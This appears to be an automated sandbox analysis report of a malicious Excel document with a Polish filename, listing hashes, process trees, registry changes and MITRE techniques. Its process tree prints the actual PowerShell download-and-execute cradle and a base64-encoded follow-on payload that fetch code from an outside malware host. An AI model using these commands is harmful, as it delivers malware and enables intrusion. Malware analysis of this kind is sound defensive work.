4ee1e35fc610375d651202f828ea4c0512d1072a13dd72947efb804ea05958d3

Analysis

max time kernel
111s
max time network
121s
platform
windows7_x64
resource
win7
submitted
14-07-2020 14:07

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General

Target

Potwierdzenie transakcji (3).xls
Size

858KB
MD5

12e613fff7e95373c60b0d323807b14a
SHA1

57ba3149d1204d1be553c2b6f9e057624c148386
SHA256

4ee1e35fc610375d651202f828ea4c0512d1072a13dd72947efb804ea05958d3
SHA512

dfd5602574e753eb57aecdd0ea5c345caca0e0292cd55a7e97ce5785ffae9a143530e27fea047d331b25069f46d688d2c559de3213fb8a56d1599eaa9fb00afd

Score

10^/10

evasion spyware trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://office-service-softs.info/tech.jpg

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1700	1156	powershell.exe	23

Suspicious use of WriteProcessMemory 54 IoCs

description	pid	Process	procid_target
PID 1156 wrote to memory of 1700	1156	EXCEL.EXE	24
PID 1156 wrote to memory of 1700	1156	EXCEL.EXE	24
PID 1156 wrote to memory of 1700	1156	EXCEL.EXE	24
PID 1700 wrote to memory of 1952	1700	powershell.exe	27
PID 1700 wrote to memory of 1952	1700	powershell.exe	27
PID 1700 wrote to memory of 1952	1700	powershell.exe	27
PID 1952 wrote to memory of 1852	1952	powershell.exe	28
PID 1952 wrote to memory of 1852	1952	powershell.exe	28
PID 1952 wrote to memory of 1852	1952	powershell.exe	28
PID 1952 wrote to memory of 1852	1952	powershell.exe	28
PID 1952 wrote to memory of 1932	1952	powershell.exe	29
PID 1952 wrote to memory of 1932	1952	powershell.exe	29
PID 1952 wrote to memory of 1932	1952	powershell.exe	29
PID 1952 wrote to memory of 1932	1952	powershell.exe	29
PID 1952 wrote to memory of 1856	1952	powershell.exe	30
PID 1952 wrote to memory of 1856	1952	powershell.exe	30
PID 1952 wrote to memory of 1856	1952	powershell.exe	30
PID 1952 wrote to memory of 1856	1952	powershell.exe	30
PID 1952 wrote to memory of 2012	1952	powershell.exe	31
PID 1952 wrote to memory of 2012	1952	powershell.exe	31
PID 1952 wrote to memory of 2012	1952	powershell.exe	31
PID 1952 wrote to memory of 2012	1952	powershell.exe	31
PID 1952 wrote to memory of 1776	1952	powershell.exe	32
PID 1952 wrote to memory of 1776	1952	powershell.exe	32
PID 1952 wrote to memory of 1776	1952	powershell.exe	32
PID 1952 wrote to memory of 1776	1952	powershell.exe	32
PID 1952 wrote to memory of 2016	1952	powershell.exe	33
PID 1952 wrote to memory of 2016	1952	powershell.exe	33
PID 1952 wrote to memory of 2016	1952	powershell.exe	33
PID 1952 wrote to memory of 2016	1952	powershell.exe	33
PID 1952 wrote to memory of 1656	1952	powershell.exe	34
PID 1952 wrote to memory of 1656	1952	powershell.exe	34
PID 1952 wrote to memory of 1656	1952	powershell.exe	34
PID 1952 wrote to memory of 1656	1952	powershell.exe	34
PID 1952 wrote to memory of 1580	1952	powershell.exe	35
PID 1952 wrote to memory of 1580	1952	powershell.exe	35
PID 1952 wrote to memory of 1580	1952	powershell.exe	35
PID 1952 wrote to memory of 1580	1952	powershell.exe	35
PID 1952 wrote to memory of 1628	1952	powershell.exe	36
PID 1952 wrote to memory of 1628	1952	powershell.exe	36
PID 1952 wrote to memory of 1628	1952	powershell.exe	36
PID 1952 wrote to memory of 1628	1952	powershell.exe	36
PID 1952 wrote to memory of 1584	1952	powershell.exe	37
PID 1952 wrote to memory of 1584	1952	powershell.exe	37
PID 1952 wrote to memory of 1584	1952	powershell.exe	37
PID 1952 wrote to memory of 1584	1952	powershell.exe	37
PID 1952 wrote to memory of 1676	1952	powershell.exe	38
PID 1952 wrote to memory of 1676	1952	powershell.exe	38
PID 1952 wrote to memory of 1676	1952	powershell.exe	38
PID 1952 wrote to memory of 1676	1952	powershell.exe	38
PID 1952 wrote to memory of 1696	1952	powershell.exe	39
PID 1952 wrote to memory of 1696	1952	powershell.exe	39
PID 1952 wrote to memory of 1696	1952	powershell.exe	39
PID 1952 wrote to memory of 1696	1952	powershell.exe	39

Suspicious behavior: EnumeratesProcesses 27 IoCs

pid	Process
1700	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe

Blacklisted process makes network request 3 IoCs

flow	pid	Process
5	1700	powershell.exe
7	1952	powershell.exe
8	1952	powershell.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	powershell.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1156	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1156	EXCEL.EXE
1156	EXCEL.EXE
1156	EXCEL.EXE

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1700	powershell.exe
Token: SeDebugPrivilege	1952	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1156	EXCEL.EXE
1156	EXCEL.EXE

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Potwierdzenie transakcji (3).xls"
1⤵
- Suspicious use of WriteProcessMemory
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of FindShellTrayWindow
PID:1156
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command IEX (New-Object('Net.WebClient')).'DoWnloadsTrInG'('http://office-service-softs.info/tech.jpg')
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  - Suspicious behavior: EnumeratesProcesses
  - Blacklisted process makes network request
  - Suspicious use of AdjustPrivilegeToken
  PID:1700
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -w 1 /e JABYAHcAIAA9ACAAJwBNAHUAZwBwAGoAcwBjAFcAQgAnADsACgAkAFAAcwBiAGIAWQBWAGwAYgBrACAAPQAgACgAJwB7ADIAfQB7ADAAfQB7ADEAfQB7ADMAfQAnAC0AZgAnAGQAUwB0ACcALAAnAHIAaQBuACcALAAcIGAARABgAG8AYAB3AG4AYABsAGAAbwBhAB0gLAAnAGcAJwApADsAWwB2AG8AaQBkAF0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkAFcAaQB0AGgAUABhAHIAdABpAGEAbABOAGEAbQBlACgAJwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAnACkAOwAkAFQAUwBRAG4AQgB6AEkAQgBhAGUAWgBzAEgAbgBIAG8AaQBRAGIAbwBPAHUAVgBtAFAAUABwAE8ARABvAGYAZwBEAEQAUgBPAEYAZgBBAHYASgBhAHQAWABlAGcAeAB3AG4AWgBpAGsAdABwAG0AbgBDAHEARgBoAGwATQBpAHAASgBZAFEAVgBDAHkAegBTAEkAcQBjAGYAZQB3AHYAagA9AFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBJAG4AdABlAHIAYQBjAHQAaQBvAG4AXQA6ADoAQwBhAGwAbABCAHkAbgBhAG0AZQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgABwgYABOAGAAZQBgAFQAYAAuAGAAVwBgAGUAYABCAGAAQwBgAGwAYABpAGAAZQBgAE4AYABUAB0gKQAsACQAUABzAGIAYgBZAFYAbABiAGsALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBvAGYAZgBpAGMAZQAtAHMAZQByAHYAaQBjAGUALQBzAG8AZgB0AHMALgBpAG4AZgBvAC8AcgBuAHAALgB0AHgAdAAnACkALgBSAGUAcABsAGEAYwBlACgAIgBeACIALAAgACIANAA0ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACoAIgAsACAAIgA0ADgAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAIwAiACwAIAAiADcAOAAiACkAfABJAEUAWAA7AFsAQgB5AHQAZQBbAF0AXQAkAFQAUwBRAG4AQgB6AEkAQgBhAGUAWgBzAEgAbgBIAG8AaQBRAGIAbwBPAHUAVgBtAFAAUABwAE8ARABvAGYAZwBEAEQAUgBPAEYAZgBBAHYASgBhAHQAWABlAGcAeAB3AG4AWgBpAGsAdABwAG0AbgBDAHEARgBoAGwATQBpAHAASgBZAFEAVgBDAHkAegBTAEkAcQBjAGYAZQB3AHYAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAFAAcwBiAGIAWQBWAGwAYgBrACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBvAGYAZgBpAGMAZQAtAHMAZQByAHYAaQBjAGUALQBzAG8AZgB0AHMALgBpAG4AZgBvAC8AbQBhAGkAbgAxAC4AdAB4AHQAJwApAC4AcgBlAHAAbABhAGMAZQAoACcAQAAnACwAJwAwAHgAJwApAHwASQBFAFgAOwBbAEMALgBNAF0AOgA6AFIAKAAnAE0AUwBCAHUAaQBsAGQALgBlAHgAZQAnACwAJABUAFMAUQBuAEIAegBJAEIAYQBlAFoAcwBIAG4ASABvAGkAUQBiAG8ATwB1AFYAbQBQAFAAcABPAEQAbwBmAGcARABEAFIATwBGAGYAQQB2AEoAYQB0AFgAZQBnAHgAdwBuAFoAaQBrAHQAcABtAG4AQwBxAEYAaABsAE0AaQBwAEoAWQBRAFYAQwB5AHoAUwBJAHEAYwBmAGUAdwB2ACkA
    3⤵
    - Suspicious use of WriteProcessMemory
    - Suspicious behavior: EnumeratesProcesses
    - Blacklisted process makes network request
    - Modifies system certificate store
    - Suspicious use of AdjustPrivilegeToken
    PID:1952
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1852
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1932
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1856
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:2012
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1776
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:2016
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1656
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1580
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1628
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1584
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1676
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:1696

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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